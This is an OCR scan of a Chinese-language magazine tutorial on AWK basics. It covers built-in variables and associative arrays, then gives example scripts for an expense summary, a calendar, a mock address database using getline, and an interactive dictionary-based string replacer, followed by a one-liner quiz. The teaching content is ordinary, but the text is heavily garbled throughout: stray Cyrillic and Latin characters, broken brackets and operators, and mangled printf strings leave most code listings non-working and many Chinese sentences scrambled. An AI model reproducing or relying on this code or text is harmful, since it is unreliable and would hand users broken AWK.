n 的 值 是 3 时 ，$n 表 示 的 是 第 3 个 字段 。 
$0 表 示 的 是 输入 行 全 体 。 


例 ) 
行 的 分 阳 符 为 换行 全， 字段 的 分 隔 符 为 
Tab 或 空格 ， 当 前 行内 容 如 下 时 ， 
abc def ghi 
则 结果 如 下 所 示 。 
"abc" 
"def" 


"ghi " 
"abc ае? ghi" 


ARGC, ARGV 

ARGC 和 ARGV 是 为 了 取得 awk 局 动 时 的 
命令 行 参数 而 设 定 的 变量 。ARGC 和 ARGYV 保 
存 的 内 容 分 别 如 下 所 示 。 


ARGC 命令 
ZA. 


行 参数 的 个 数 
ARGV 命令 


了 参数 的 数组 
(5j) 
BEGIN < 


for Ci = 0; i < ARGC}; i++) 
print ARGVLi1 


这 是 个 模式 BEGIN 和 动作 的 组 合 。 程 序 
执行 时 会 把 所 有 的 命令 行 参数 表示 出 来 。 


FILENAME 

FILENAME 保 存 当前 输入 文件 的 文件 名 。 
使 用 这 个 变量 可 以 在 awk 脚本 中 根据 读 人 文件 
的 不 同 而 执行 不 同 的 动作 。 


fi) 


FILENAME == "file1" € z/fF1 2 
FILENAME == "file2" € zlfF2 >) 
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FNR 
FNR 保 存 当 前 文件 的 行 号 。 


FS 

FS 是 定义 输入 字段 分 隔 符 的 变量 。 也 可 
以 使 用 正则 表达 式 指定 分 隅 符 。 没 有 定义 FS 
时 的 标准 值 是 空格 和 Tab。 


NF 
NF 保存 当前 行 的 字段 数 。 比 如 用 NF 进行 
如 下 操作 ， 将 会 输出 行 的 最 后 一 个 字段 。 


print $NF 


NR 
NR 保存 谈 入 的 行 数 。 与 FNR 的 不 同 点 在 于 : 
谈 和 人 多 个 文件 时 ，NR 表示 这 些 文件 的 总 行 数 。 


OFS 
OFS 是 定义 输出 字段 分 隔 符 的 变量 。 没 有 
指定 时 ， 默 认为 空格 。 


ORS 
ORS 是 定义 输出 行 的 分 隅 符 的 变量 。 这 个 
变量 没有 定义 时 ， 采 用 标准 换行 符 。 


RS 
RS 是 定义 输入 行 的 分 隅 符 的 变量 。 默 认 
采用 标准 换行 符 。 


G9 数组 


AWK 的 数组 是 关联 数组 ， 下 标 不 仅 可 以 
是 数字 还 可 以 是 字符 串 。 


E 


还 可 以 如 下 所 示 ， 用 “， 分 隔 下 标 ， 使 用 
多 元 数组 。 


rz ~ A 人 кн . 


cLx,y] 


当 数 组 的 某 个 要 素 不 要 时 ， 可 以 用 delete 
进行 删除 。 


delete aLnj 


GO) 示 例 肢 本 DD“ 统 计 出 纳 ” 


对 象 数据 可 以 分 为 记录 行 和 字段 ， 可 以 当 
作 表 格 形 式 的 数据 进行 处 理 。AWK 具有 便于 
处 理 log 文 件 以 及 快速 计算 统计 信息 的 特征 。 
我 们 来 试看 写 一 下 进行 “统计 出 纳 ” 的 脚本 。 

数据 形式 为 “日 期 、 明 细 、 人 金额 ， 并 以 
连续 的 Tab 为 分 隔 符 。 金 额 栏 里 ， 如 采 是 文 出 
则 表示 为 负 值 ， 如 果 是 收入 则 表示 为 正 值 。 

比如 数据 文件 “note.dat” 如 代码 清单 1 所 
ЖЕҢ, ЖИ МЕ. 


(1 ) 现 在 的 余额 

(2 ) 最 高 收入 额 

(3 ) 最 高 文 出 额 

(4 ) 从 以 下 角度 求 关 于 一 次 收文 的 平均 金额 : 
(a ) 按 月 
(b ) 除 去 工资 收入 的 整个 期 间 
( ç ) 整 个 期 间 

答案 请 参照 代码 清单 2。 


有 代码 清单 1 数据 note.dat 


10/1 水 -20 
10/2 FB -6,231 
10/5 煤气 -300 
10/3 电话 -6,503 


10/20 打 弹 子 机 -20,200 
10/23 赛马 3,000 

10/25 工资 223,000 

10/26 餐馆 就 餐 支 出 -134,523 
11/1 K -30 


11/5 ”赛马 
11/10 麻将 20,000 
11/25 工资 234,500 
11/26 餐馆 就 餐 支 出 -122,459 
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У (©1588 2 summary.awk 
BEGIN < FS="\t+"; п = 3} 


{ 

gsub("," dom) 
gsub(/\/C0-91]+/," H ",$1) 
summary C" £T ") 

summary ($1) 


$2 !- "TZ" € summary(" 工 资 以 外 ") } 
function summary(c) + 
if (МАХГс1+@ < $n+0 ) МАХСсЈ = $n 
if СМІМСс 1+0 > $п+@ ) MINLc] = $n 
COUNTE с1++ 
TOTALLc] += $n 
) 


END + 
for (c in TOTAL) í 
printf "余额 (Xs) = %d\n", c, ? 
TOTALLc] 
printf "RAS НЛ (45) = %d\n", ? 
c, MINCc] 
printf "最 大 收入 额 (X%s) = ZdVn", ? 
c, MAXLc] 
printf FIIS) = NI с, e 
TOTALEc1/COUNTE cJ 
print = 
J 


解说 ”统计 出 纳 “脚本 

AWK 脚本 和 我 们 熟悉 的 C 语 言 、Java 语 
言 的 语法 类 似 , 不 过 大 家 可 能 也 意识 到 了 ， 
АМК RAH "(C70)" $17. 

Biz BEGIN 是 进行 初始 化 的 。 因 为 零钱 
账 的 数据 分 隔 符 是 “连续 的 Tab”， 所 以 可 以 变 
为 默认 的 字段 分 隔 符 "[Mt]"。 而 且 ， 作 为 计算 对 
象 的 是 第 3 个 字段 ， 所 以 将 变量 n 初 始 化 为 3。 

然后 是 省 略 模 式 的 动作 ， 记 述 了 谈 入 行 之 
后 ， 对 所 有 行 要 进行 的 处 理 。 

在 计算 对 象 字段 中 含有 “,”， 为 了 使 之 可 以 
被 AWK 当 作 数值 数据 进行 处 理 ， 必 须 把 “,” 去 
掉 。 字 符 串 的 蔡 换 使 用 内 置 兄 数 gsub, 如 下 所 示 。 


gsub(",","",$n) 


同样 ,日 期 中 的 “日 ”信息 也 没有 用 。 人 处 
理 如 下 所 示 。 


gsub(/\/C0-91+/," H ",$1) 


rroga —— S |] A 人 кн 


| AAA m” x A dT Le 


尝试 并 掌握 
AWK 的 基础 


第 仿 章 


把 “日 ”信息 替换 成 了 “月 ” 字 。 

gsub 函数 的 功能 是 把 第 3 个 参数 的 字符 串 
中 与 第 1 个 参数 匹配 的 地 方 用 第 2 个 参数 指定 
HUE HERR. РА САУ In EZ ERRAT AC 

使 用 之 后 定义 的 summary 函数 进行 总 计 和 
按 月 统计 。summary 因数 的 参数 是 统计 种 类 ， 
它 可 以 把 总 计 、 最 小 值 、 最 大 值 和 平均 值 的 统 
计 结 果 存 储 到 关联 数组 中 。 


summary C" Ir") 
summary ($19) 


通过 指定 模式 来 进行 关于 工资 以 外 的 收文 
统计 。 


$2 = "ТЖ " 


在 这 里 ， 省 略 模式 的 动作 处 理 已 经 完毕 ， 
所 以 这 里 的 金额 中 的 “,” 和 日 期 中 的 “日 ” 信 
县 已 经 处 理 完 毕 。 

统计 时 ， 因 为 在 AWK 中 没有 类 型 指定 ， 
所 以 要 注意 避免 变量 类 型 识别 发 生 错 误 。 这 里 
为 了 以 数值 类 型 进行 演算 ， 采 用 如 下 记 法 。 


变量 +0) 


最 后 的 模式 END 是 将 统计 结 末 进行 输 
出 。 抽 取 关 联 数 组 的 成 员 时 使 用 for 语 句 的 in 
运算 符 是 很 方便 的 。 不 经 意 间 使 用 的 内 置 函数 
printff， 基 本 和 C 语 言 中 的 一 样 。 

这 个 例子 比较 人 简单 ,大 家 应 该 理解 了 
AWK 风格 的 记述 方法 了 吧 。AWK 还 可 以 自由 
地 变更 字段 和 记录 行 的 单位 。 此 外 ， 还 可 以 使 
用 强大 的 内 置 函数 等 简单 地 应 用 于 系统 日 志 、 
网 络 包 的 dump 数 据 解 析 等 。 


GO) итн 


TE Е ЕН АЛИ ЛЕТ fk Duy yu HI 
起 来 了 。 事 实 上 AWK 还 可 以 用 户 自 定义 函数 。 
格式 如 下 所 示 。 


function AAE (BE) t 
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从 现在 开始 sed/AWK EBA J 


| | UNIX 工 程 师 的 喜好 
特辑 


只 要 是 可 以 记述 模式 -动作 语句 ， 你 就 可 以 把 
为数 定义 写 在 任意 一 个 你 喜欢 的 地 方 。 需 要 注 
意 的 是 ， 调 用 时 函数 名 和 参数 列表 的 左 括号 之 
间 不 能 有 多 余 的 空格 。 

既然 是 函数 ， 就 必须 要 注意 变量 的 范围 。 
给 一 般 的 标量 变量 赋值 ， 即 使 在 范 数 中 修改 了 
变量 的 值 对 外 部 也 没有 什么 影响 。 在 函数 中 可 
以 修改 数组 要 素 或 者 增加 新 的 要 素 等 。 形 参 在 
国 数 内 都 是 局 部 变量 ， 其 他 变量 则 作为 全 局 变 
量 对 等。 在 函数 中 如 果 需 要 局 部 变量 ， 多 传 一 
个 形 参 即 可 。 

省 略 return 语 名 表示 因数 的 返回 值 不 确定 。 


G5 示例 脚本 Cj“ 显示 日 历 ? 


现在 我 们 尝试 用 至 此 为 止 介绍 的 一 些 功能 
和 几 个 内 置 函数 ， 用 AWK 做 一 个 日 语 版 的 日 
历 (代码 清单 3 )。 

使 用 + 选项 指定 年 月 日 启动 calendar.awk， 
会 返回 星期 。 如 果 只 指定 年 和 月 ， 会 将 该 月 的 
日 历 表示 出 来 。 男 外 ， 如 果 只 指定 年 ， 会 将 该 
年 全 部 的 日 历 表 示 出 来 (图 1 )。 


解说 "日 历 脚本 ” 

请 参照 代码 清单 3。 请 注意 其 中 的 数值 运算 、 
使 用 正则 表达 式 的 逻辑 运算 、 变 量 的 增值 和 减 
值 等 操作 。 基 本 上 能 和 C 语 言 等 一 般 的 编程 语 
言 进行 相同 的 处 理 。 


Ут 日 历 脚本 的 执行 结果 


# 1 

$ awk -f calendar.awk +2013.10.4 
星期 五 
# 
$ 


2 

awk -f calendar.awk +2013.10 
20135 年 10H 

aps E 

6 7 8 

15 14 15 16 

20 21 22 23 

27 28 29 30 


H 5 


$ awk -f calendar.awk +2014 
因为 结果 有 些 长 ， 省 略 。 


Гр Маин ИО И у 人 


PK ŠT optionO JE. 1E A BJ Н HH HJ PT E eS Ж 
split() 分 解 为 年 月 日 并 保存 到 数组 date[] 中。 不 
过 ， 年 月 日 要 以 终止 符 “.” 为 分 隔 符 。 

weekl10 用 来 计算 是 星期 几 。 在 BEGIN 部 
分 进行 初始 化 设 定 。 在 week10 中 数组 M 是 作 
为 全 局 变量 来 参照 的 。 

17 H PS H Ej fii Н eS calendarO 做 成 。 为 
Yf oE у, Н р week10 >K 15 Bif H 
第 0 天 (= 前 一 个 月 的 最 后 一 天 ) 的 星期 值 。 

PK ZI repeat() 的 功能 是 将 字符 串 str 重 复 
time 次 。time 小 于 等 于 0 时 返回 空 " 字 符 串 。 
这 个 机 数 有 助 于 字符 串 的 整形 。 字 符 串 用 如 下 
方式 进行 连接 。 


ret = str ret 


变量 1 和 tret 都 是 作为 局 部 变量 使 用 的 形 参 。 

PR ZI option) 的 功能 是 : 对 于 AWK 启动 时 
读 入 的 + 选项 ， 利 用 内 置 函数 substr 把 参数 第 
2 个 字符 之 后 的 值 以 字符 串 的 形式 取出 。 参 数 
opt 的 值 是 省 略 + 选 项 时 的 默认 值 。 在 文本 数 
据 读 入 之 前 在 BEGIN 部 分 中 使 用 。 但 是 ，"" 
形式 的 输入 是 不 允许 的 。 


GO) 示 例 脚本 3 “模拟 数据 库 ， 


我 们 再 来 看 一 个 简单 的 “模拟 数据 库 ” 的 
例子 。 

通讯 录 的 数据 像 关 系数 据 库 一 样 被 正规 化 ， 
由 3 个 表 组 成 。 其 中 一 个 表 用 来 保存 个 人 的 名 字 、 
电话 号 码 和 工作 单位 。 为 了 区 分 ， 给 每 个 人 都 
分 配 一 个 序列 号 。 这 个 表 保 存 为 private.dat (£V 
码 清单 4 )。 第 二 个 表 保 存 个 人 的 家 庭 成 员 ， 为 
了 区 分 是 哪个 人 的 家 庭 成 员 ， 这 个 表 中 存 有 刚 
才 分 配 的 序列 号 、 家 庭 成 员 的 名 字 和 关系 。 这 
个 表 命 名 为 family.dat( 代 码 清单 3 )。 最 后 一 个 
表 jobs.dat 以 工作 单位 的 简称 为 主键 ， 并 存 有 
单位 正式 名 称 和 电话 号 码 (代码 清单 6 )。 表 的 
"BEAT BASE CO ЈА FI Tab s 


解说 “模拟 数据 库 C 
我 们 的 目的 是 从 这 些 表 中 取出 某 个 特定 个 


| mms mox A =f Ã— Le 
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类 试 并 学 握 _ 
AWK 的 基础 EE 


Ба 


У (15:85883 calendar.awk 


# 日 历 

BEGIN < 
ML11-31; ML2J=28; ML31-31; ML41-30; ML51-31; ML61-30 
ML71-31; ML81-31; ML91-30; ML101-31; ML111-30; ML121-31 
WE@I]=" 日 "> WL11-"H" ; WE21-" X"; WL3]=" 水 " 
WE s s WL6l-"-E" 


split(option(), date, "\.") 
n = week1(dateL1l1+0, dateC2]+0, dateL31l1+0) 


if € date[3] !- "" ) print "星期 " WEnJ 

else if С date[2] != "" ) { 
calendar(dateL11, dateL21, MEdateL211, n) 

> 


else for ( í = 1; í <= 12: i+*+ ) + 
calendar(dateL11, i, MLil, week(dateL11, i, 0)) 
print "" 

} 

} 


# 算出 是 星期 几 
function week1Cy, m, d, s) X 
5 = 5 
у = 400 
if Cy == 0 || € y%4 == 0 && у/100 != 0 )) if С ML21 == 28 ) МЕ21++ 
if Cy > 0) s += —y+int(y/&#)-int(y/100)+int(y/400)+2 
while С m > 1 ) s += ML--mJ 
return (s+d)%7 
> 


# 做 成 日 历 
function calendar(y, m, d, s, i) X 
printf(" Жайы ZdZsxm'; uds um 
print "日 一 二 三 四 五 六 " 
printf("Zs", repeat(" ", ((s+1)Z7/)*3)) 
for ( í = ]: í <= d; 1ї++) { 
printf("Z2d ", i) 
if С (s+1)%7 == é ) print "" 
17 
if € С5+1) 47 != 0 ) print "" 
} 


# іне 

function repeat(str, time, i, ret) € 
for (i21; 1 <= time; i++ ) ret = str ret 
return ret 

} 


# 读 入 选项 参数 
function option(opt) € 
if (ARGC > 1 && ARGVE1J ~ /^\+.*$/) © # 检查 是 否 指定 选项 
print ARGC, ARGVL11 
opt = substr(ARGVE11, 2) # 去 掉 开 头 的 "+" 号 
delete ARGVL11 # 释放 数组 
> 
return opt 
> 


У (©1584  private.dat 


1 池田 雄一 032-6632-3188 东京 都 世 田 谷 区 torikumi 

2 小 泉 充 志 071-3242-4583 京都 府 京 都 市 左 京 区 cocodes 
3 田中 熊 五郎 032-2445-7819 东京 都 目 黑 区 tomato 

4 山本 能 山 041-899-2245 神奈川 县 川崎 市 tomato 

5 阿部 慎 平 072-445-2234 兵 库 县 担保 郡 kane 
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从 现在 开始 sed/AWK EBA J 


UNIX 工 程 师 的 喜好 
特辑 1 见 在 开始 


人 的 全 部 信息 并 表示 出 来 。 表 保存 在 多 个 文件 
中 ， 可 以 用 getline 功 能 对 表 进 行 结合 。 
关键 在 于 使 用 主键 对 别 的 表 进 行 检 索 的 循 
环 部 分 。 像 本 例 一 样 ， 处 理 对 象 的 文件 分 为 多 
m AWK 也 可 以 轻松 应 对 (代码 清单 7 )。 
结果 如 图 2 所 示 。 


focos 


G5 示例 脚本 “交互 式 字符 串 蔡 换 ” 


下 面 介 绍 一 个 应 用 AWK 进行 交互 式 处 理 
的 例子 。“ 用 脚本 语言 进行 交互 式 处 理 ? ”大 家 
可 能 会 觉得 有 些 别扭 。AWK 作为 脚本 语言 在 
以 单行 脚本 的 形式 与 其 他 命令 进行 联合 ， 或 者 
是 对 文本 数据 进 1 二 批 处 理 等 方面 是 很 擅长 的 。 
不 过 , 在 选择 数据 作为 交互 式 、 (nn: 
对 象 时 ，AWK 也 具有 相应 的 应 对 功能 。 这 里 ， 
交互 式 输入 使 用 的 内 置 函 数 就 是 上 市 中 提 到 的 


У (1585885 family.dat 


1 ia == 
1 池田 爱 生 长 女 
2 小 泉 久 美 子 长 女 
5 田中 能 六 郎 PP 
5 田中 梅子 姐姐 
4 山本 清 子 祖母 
4 小 豆子 乌 

5 阿部 太郎 父亲 
5 阿部 爱 子 母亲 


У (15585886 jobs.dat 


torikumi 取 组 有 限 股 份 公司 
cocodes COCODES 财团 法 人 
tomato TOMOTO 报社 有 限 股份 公司 
kane KANE 科学 有 限 股份 公司 


071-423-9231 
031-6323-6222 
032-4777-9524 
072-877-2833 


有 图 2 模拟 数据 库 的 执行 结果 


$ awk -f адагеѕѕ.амк +0283 private .dat 
姓名 DENERA 

电话 号 码 072-445-2234 

住址 KERERE 


工作 单位 ”KANE 科 学 有 限 股份 公司 电话 072-877-2833 
家 庭 成 员 

阿部 太郎 关系 父亲 

阿部 爱 子 关系 母亲 


FA 


getline 困 数 。 当 发 现 作 为 替换 对 象 的 字符 串 时 ， 
对 于 是 否 真 的 要 进行 蔡 换 我 们 来 进行 一 下 交互 
式 确认 吧 ( 代 码 清单 8 )。 对 于 找到 的 字符 串 ， 
要 表示 它 所 在 的 行 及 行 号 ， 并 根据 转 义 序列 使 
用 强调 输出 的 方法 进行 着 色 使 之 更 醒目 ( 转 义 
序列 会 根据 所 使 用 的 终端 的 不 同 而 不 同 ， 请 根 
据 自 身 的 环境 进行 适当 地 修改 )。 

这 个 脚本 中 ， 在 交互 输入 时 可 以 使 用 的 命 
令 如 表 1 所 示 。 


w=1 操作 一 览 
y | 替换 对 象 字符 串 
。 | 包含 当前 字符 串 ， 
的 字符 串 
不 执行 替换 ， 以 后 出 现 的 所 有 相同 的 字符 捉 
也 都 不 替换 


其 他 | 不 执行 替换 


替换 以 后 出 现 的 所 有 相同 


У (108588 7 address.awk 


# 通讯 录 
BEGIN < FS="[ \t]+"; name = option(); } 
$2 == name { 
key = $1; 
printf "BES NUES $2; 
printf "电话 号 码 \t%s\n"，$3; 
printf "住址 \t\t%s\n"， $4; 
get job($5); 
getfamily(key); 
J 


function getfamily(key, n) 

{ 
printf "RERA \п"; 
while (getline < "family.dat" > 0) 
if ($1 == key) 4 


printf("\t%s\t\t 天 系 ZsVn", $2, $3); 
[bbs 
5 
Th (Пп — 0) 
pr iss t 
J 


function getjob(abbreviation) 
{ 

while (getline < "jobs.dat" > 0) 

if ($1 == abbreviation) 

printf "工作 单位 \t\t%s\t\t 电 话 

NSsAWe T. t2 $5; 
Jj 
H 用 来 读 入 选项 参数 的 水 数 optionO ... 和 刚才 
的 例子 "日历 脚 本 "中 使 用 的 函数 optionO 相同 。 


| mms n8 4x0 В Ã— Le 


ZEE 


AWK 的 基础 Б mm 
命令 的 输入 不 区 分 大 小 写 。 在 未 指定 模式 的 动作 部 分 ,也 使 用 也 数 
此 外 ， 因 为 使 用 画面 进行 交互 式 人 处理 ， getline 把 从 标准 输入 得 到 的 输入 保存 到 变量 中 


编辑 结果 以 文件 形式 进行 输出 (这 里 保存 为 了 了 。 如 下 所 示 。 
replace.out， 也 可 以 使 用 已 经 出 现 过 的 函数 
、 getline q < "/dev/stdin" 
option() 等 把 输出 位 置 设 为 可 变 的 )。 
在 同一 动作 内 ， 

解说 ”交互 式 字符 串 蔡 换 - 

正如 上 文 所 述 ， 脚 本 并 不 那么 复杂 。 在 
BEGIN 模 式 中 ,使 用 函数 getline 事 先 把 字典 对 于 正在 读 入 的 行 ，while 语 句 使 用 index 函数 
文件 读 到 数组 source #1 destination 中 。 查找 登录 在 字典 中 的 单词 的 位 置 ， 并 把 其 记录 


while (idx = index(tail, sourceLil)) 


У (15585884 private.dat 


# 根据 字典 进行 交互 式 著 换 
BEGIN < 
1-0 
while (getline < "dict" > 0) + 
sourceLil = $1 
destinationLil = $2 
itt 
} 
} 


{ 
for (i in source) t 
if Gi in all) < 
gsub(sourceLil, destinationLil, $0) 
continue 
> 
head ы 
tail = $@ 
while (idx = index(tail, sourceLil)) € 
tbuf = tail 
sub(sourceLil, "N033L41m&V033LO0m", tbuf) # 使 用 转 义 序列 进行 强调 表示 。 
printf("Z&d : ZsZsNn", NR, head, tbuf ) 
printf("LZs] -> [751 (Yes/No/All/Ignore): ", sourceL il, destinationLil); 
getline q < "/dev/stdin" 
if (q ~ /ALyY1/) € # 替换 对 象 字 符 串 。 
sub(sourceLil, destinationLil, tail) 
head = head substr(tail, 1, idx + Length(destinationLil)) 
tail = substr(tail, idx + Length(destinationLil) + 1) 
else if (q ~ /^ГаА1/) € # 包 含 当前 字符 串 。 蔡 换 以 后 出 现 的 所 有 相同 的 字符 串 。 
gsub(sourceLil, destinationLil, tail) 
allEil = sourceL i1 
break 
else if (q < /^LiI1/) € # 不 执行 替换 。 以 后 出 现 的 所 有 相同 的 字符 串 也 都 不 替换 。 


delete sourceLil 


break 
) else ( # 不 执行 替换 。 
head head substr(tail, 1, idx + Length(sourceLil)) 
substr(tail, idx + Length(sourceLil) + 1) 


НОП e 


tail 
> 
} 
$0 = head taiL 
} 
print $0 > "гер асе.оиї" # 这 里 记述 的 是 结果 文件 的 文件 名 
> 
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rz чә | rpm A г ° | c 99.7743 — — — ~ 


从 现在 开始 sed/AWK 再 入 门 


| | UNIX 工 程 师 的 喜好 
特辑 


在 idx 中 。 如 有 果 查 找 的 字符 串 不 存在 ，index РЁ 
数 返 回 0。 对 于 while 循 环 的 判定 ，0 就 相当 于 
FALSE， 所 以 当 对 象 单词 不 存在 时 就 会 跳出 循 
环 。 

只 对 行 的 一 部 分 执行 单词 蔡 换 时 ， 使 用 变 
head, tail 1172917771], ШШ НИИ EE РЁ 
数 sub 把 最 开始 的 一 处 进行 蔡 换 ， 然 后 再 进行 


TA 
A. 


2— rl, WREE RIT Т АЧХА: 
词 ， 可 以 使 用 gsub 函数 一 下 全 部 其 换 。 
之 后 在 出 现 EREA” 时， 把 要 进行 蔡 


print $0 > "replace.out" 


这 样 未 指定 模式 的 动作 ， 请 注意 它 是 逐 行 
处 理 输入 文件 (这 里 指 replace.txt ) 的 。 

理解 这 个 程序 动作 的 关键 在 于 理解 变量 $0、 
head, tail 的 状态 在 怎样 变化 。 


GD sos 


那么 ， 我 们 来 试 着 执行 一 下 上 述 程序 。 使 
用 的 数据 如 代码 清单 9 和 代码 清单 10 所 示 。 执 
行 时 的 命令 如 下 所 示 。 


换 的 对 象 单词 都 保存 到 数组 all 中 ,然后 作为 
站 语句 的 处 理 对 象 ， 利 用 gsub 函数 进行 全 部 
TERR. 执行 过 程 如 图 3 所 示 。 结 果 得 到 的 输出 文 

同样 , “全 部 忽略 ”时 , 通过 删除 数组 件 replace.out 如 图 4 所 示 。 
source 使 字典 无 效 ， 然 后 从 站 语句 的 处 理 对 象 
中 跳出 。 

在 while 循环 结束 时 ， 把 变量 head 和 tail 进 
行 连接 ， 然 后 存 到 变量 $0 中 返回 。 

动作 最 后 ， 执 行 如 下 命令 把 处 理 结 果 输 出 
到 文件 中 。 


A> awk -f replace.awk replace.dat 


灭 代码 清单 9 字典 文件 ( dict) 
魅 魔女 妖 ”莉莉 斯 


旅行 ”冒险 
星期 五 ”星期 六 日 
水 的 KAI 
WE RE 


э (558588 RAAN ЖЖ ( replace.dat ) 


上 周 下 界 到 了 地 牢 里 ， 真 是 倒 了 大 霉 了 。 但 是 ， 你 还 是 继续 你 的 旅行 。 
回想 起 来 ， 星 期 二 在 地 牢 里 错过 了 去 取 彩 虹 大 叔 ， 这 怕 是 不 祥 之 兆 吧 。 
星期 三 的 上 帝 的 庆典 ， 想 要 关东 者 的 你 ， 为 什么 领 着 水 的 魔 剑 师 。 

虽说 没 帝 火 的 魔 剑 师 ， 但 为 了 提高 族 多 啦 技能 可 以 使 用 岩石 的 魔 剑 师 ……: 
星期 五 的 地 牢 ， 需 要 2 倍 的 硬币 。 不 好 好 积累 的 话 ， 连 合成 也 做 不 了 。 
Wy, wE, REWE, 


Уз 执行 结果 ”交互 式 字符 串 蔡 换 


1 s 上 周 下 界 到 了 地 牢 里 ， 真是 倒 了 大 霉 了 。 但 是 ， (UIS. 
[旅行 ] -> [冒险 ] (Yes/No/All/Ignore): y 

1 s 上 周 下 界 到 了 地 牢 里 ， 真是 倒 了 大 霉 了 。 但 是 ， 你 还 
CHEF] -> С 1 CYes/No/All/Ignore)?: n 

2 : 回想 起 来 ， 星 期 二 在 地 牢 里 销 过 了 去 取 彩 虹 大 叔 ， 这 由 是 不 祥 之 兆 吧 。 
CHEF] -> CE] (Yes/No/All/Ignore): n 

5 : 星期 三 的 上 帝 的 庆典 ， 想 要 关东 者 的 你 ， 为 什么 领 着 水 的 魔 剑 师 。 
[水 的 ] -> [ 火 的 ] (Yes/No/All/Ignore): y 

5 : 星期 五 的 地 牢 ， 需 要 2 倍 的 硬币 。 不 好 好 积累 的 话 ， 连 合成 也 做 不 了 。 
[星期 五 ] -> [星期 六 日 ] (Yes/No/All/Ignore): y 

5 : 星期 六 日 的 地 牢 ， 需 要 2 倍 的 硬币 。 不 好 好 积累 的 话 ， 连 合成 也 做 不 了 。 
CHEF] -> [ 魔 宣 ] CYes/No/All/Ignore)?: n 

6 : 10, F. REE, 
CHEF] -> С 1 CYes/No/All/Ignore)?: n 

6 : ly, В, SXSSHJHUS. 
[地 牢 ] -> [ 魔 宣 ] C(Yes/No/All/Ignore): y 
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w|[#]4 执行 结果 ( replace.dat ) 


尝试 并 掌握 
AWK 的 基础 ， 


上 周 下 界 到 了 地 牢 里 ， 真 是 倒 了 大 霉 了 。 但 是 ， 你 还 是 继续 你 的 冒险 。 
回想 起 来 ， 星 期 二 在 地 牢 里 错过 了 去 取 彩 虹 大 开 ， 这 怕 是 不 祥 之 兆 吧 。 
星期 三 的 上 帝 的 庆典 ， 想 要 关东 总 的 你 ， 为 什么 领 着 火 的 魔 剑 师 。 


虽说 没 市 火 的 魔 剑 师 ， 但 为 了 提高 充 多 啦 技 能 可 以 使 用 宕 石 的 魔 剑 师 
星期 六 日 的 地 牢 ， 需 要 2 售 的 硬币 。 不 好 好 积累 的 话 ， 连 合成 也 做 不 了 。 
Wy, HEP. Жу. 


лаки 


Hi. TIER — БЛА BJ АМК SI 
力 游 戏 。 请 预测 一 下 脚本 Q1~Ql19 的 动作 。 


С) 问题 


e Q1 


$ awk '$0 !~ /^C |\t)*$/' inputfile 


e Q2 


$ awk '{$1 = $1; print $0)' inputfile 


e Q3 


$ awk 'tLine = $0) END (print Line)' 
inputfile 


© Q4 


$ awk '(if (f<NF) f=NF} END (print f2' 
inputfile 


e Q5 


$ awk '{if (L«Length) LzLength) END (print 
[)' inputflie 


© O6 


$ awk '{printf("%3d: 45\п", NR, $0)}' 
inputfile 


e 07 


$ awk '(for(i=1;i<=NF;i++) printf("%3d: 


ASMn" ,Tts,$1))' inputfile 


如 果实 在 不 知道 ， 可 以 执行 一 下 试 试看 。 


e Q8 


$ awk '/ 鬼 魔女 妖 | 莉莉 斯 / {c++} END {print 


с}' inputfile 


e Q9 


$ awk '(for(i=1;i<=NF;i++) if($i ~ E [ Rm 
| 龙王 /) c++} END (print c}' inputfile 


e Q10 


$ awk '(c=0; for(i=1;i<=NF;1++) if($i ~ / 
海 魔 星 | 天 魔 星 /) c++; print c)' 
inputfile 


e Q11 


$ awk '(for(i=1;i<=NF;i++) if($i ~ / 
丘比特 | 天 使 /) print NR ":" 12' 
inputfile 


e Q12 


$ awk '< gsub(/ /, ""); print }' inputfile 


e Q13 


$ awk '( gsub(C/EA-Z1/, "*"); print J' 
inputfile 


e Q14 


$ awk '{ printf $0}' inputfile 


rz Маин * у A 人 A 八 E73 . I ARAFA л Te el | 
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从 现在 开始 sed/AWK EBA J 


1 UNIX 工 程 师 的 喜好 
特辑 


e Q15 


$ awk 'BEGIN < ORS = "" ) { print }' 
inputfile 


@ Q16 


$ awk 'BEGIN < RS = FS 1 { print }' 
inputfile 


e 017 


$ awk 'ВЕСІМ < OFS = "Nn" } { $1 = $1; 
print }' inputfile 


© O18 


$ awk 'NRZ2 == 1 { printf $0} NRZ2 == 0 { 


print )' inputfile 


e Q19 

本 文 一 直 都 没有 解说 正则 表达 式 的 机 会 。 
最 后 ， 请 有 信心 的 人 一 定 挑 成 一 下 下 面 这 个 正 
则 表达 式 的 问题 。 请 把 使 用 AWK 执行 时 动作 


相同 的 正则 表达 式 进 行 分 组 。 


a (01)? b (01)+ 

c (0|1)* а (01)* 

e ((01)+)+ f ((01)*)* 
g 01(01)* h (0+*|]*)* 
1 (01)++ 1 | (017) ?+ 

k ((01)72?)2 L (01)+? 

m (01)** n |(01)?? 

o (012?* р (01)*01 
q (01)+(01)* r |(@1)ж*? 

s (01)*(01)* t (01)*(01)+ 
u (0212?)* v (01)+* 

w (01) ж+ x |(Qx*1*)* 


ФАТ: 删除 只 有 换行 符 的 行 以 及 只 有 Tab 和 空 
格 的 行 。 使 用 正则 表达 式 实现 了 和 脚本 相同 
的 功能 。 

© ^2: 把 Tab 替 换 成 空格 。 通 过 向 $1 看 似 无 意 
义 的 代入 操作 ， 对 $0 进行 了 重 定 义 。 如 果 输 入 
数据 文件 的 分 隔 符 是 Tab， 该 脚本 会 将 Tab 替换 


: 内 表示 最 后 = 人行 4 

@ А4: 表示 出 最 大 的 字段 数 。 

: 表示 出 最 长 的 字符 数 。 

: 加 上 行 号 ， 输 出 inputfile 的 内 容 。 

: 一 个 字段 一 行 , 并 加 上 行 号 后 进行 输出 。 
© A8: 输出 和 正则 表达 式 ( 魅 魔女 妖 或 和 莉莉 斯 ) 
匹配 的 行 。 

e ^9: 输出 与 指定 的 正则 表达 式 ( 针 曙 鼠 或 龙 
王 ) 匹 配 的 字段 的 字段 总 数 。 

e ^10: 输出 每 行 与 正则 表达 式 ( 海 魔 星 或 天 
厅 星 ) 匹 配 的 字段 的 字段 数 。 

e ^11: 输出 与 “丘比特 或 天 使 ”匹配 的 字段 
是 第 几 行 第 几 个 字段 。 

e ^12: 删除 空白 。 


PE ~ A 人 A 八 PF 


Ф A13: 把 大 写 英 文字 母 蔡 换 成 <( 像 gawk 等 
能 很 好 地 处 理 日 语 的 AWK 人 处 理 系 ,可 以 把 
“A-Z” 替 换 成 “办 - A” 进行 使用)。 


© A14: 把 所 有 内 容 合 为 1 行进 行 表示 。 
© A15: 把 所 有 内 容 合 为 1 行进 行 表示 。 
© A16: 按 字 上 段 进行 换行 。 
© A17: TC PETIT. 
